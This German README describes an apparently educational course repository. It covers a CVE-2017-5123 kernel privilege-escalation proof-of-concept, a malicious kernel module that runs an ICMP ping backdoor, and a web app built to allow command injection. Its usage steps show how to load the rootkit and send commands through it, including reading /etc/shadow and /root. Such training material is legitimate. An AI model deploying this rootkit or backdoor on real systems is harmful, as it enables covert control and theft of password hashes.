
Pädagogische Demonstration des CVE-2017-5123-Kernel-Exploits, ICMP-basierter Rootkit-Befehls- und Steuerung, sowie einer für OS-Befehlsinjektion anfälligen Webanwendung für Cybersicherheitstrainings.
Dieses Repository enthält eine Demonstration von CVE-2017-5123, einem ICMP-Backdoor für Command-and-Control, sowie einer CWE-78 (OS Command Injection) verwundbaren Webanwendung.
Teil von CSC 4308 - Challenge 3.
Dieses Projekt demonstriert drei verschiedene sicherheitsrelevante Forschungskomponenten:
lkm/rootkit.c)Ein Proof-of-Concept-Exploit für die waitid-Systemaufruf-Schwachstelle, die in Linux-Kernel 4.13 eingeführt wurde. Diese Schwachstelle ermöglicht Privilegieneskalation und Sandbox-Escape.
lkm/lkm.c)Ein bösartiges Linux-Kernel-Modul (LKM), das einen verdeckten Command-and-Control-Kanal über ICMP-Echo-(Ping-)Pakete implementiert.
25678vulnerable-app/)Eine React + Node.js Dateifreigabe-Anwendung, die anfällig für OS-Kommandoinjektion ist.
pinger/data-ping.c)Ein Dienstprogramm zum Senden maßgeschneiderter ICMP-Echo-Anfragen mit benutzerdefinierten Nutzdaten zur Kommunikation mit dem Kernel-Rootkit-Backdoor.
cd lkm
make
sudo insmod lkm.ko
cd ../pinger
gcc -o data-ping data-ping.c
# Muss als root ausgeführt werden, um Raw-Sockets zu verwenden
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
sudo rmmod lkm
make reload
# Frontend bauen
cd vulnerable-app/frontend
npm run build
# Build in Backend kopieren
cp -r build ../backend/
# Backend-Server starten (bedient sowohl API als auch Frontend)
cd ../backend
npm start
Die Anwendung ist verfügbar unter http://localhost:3001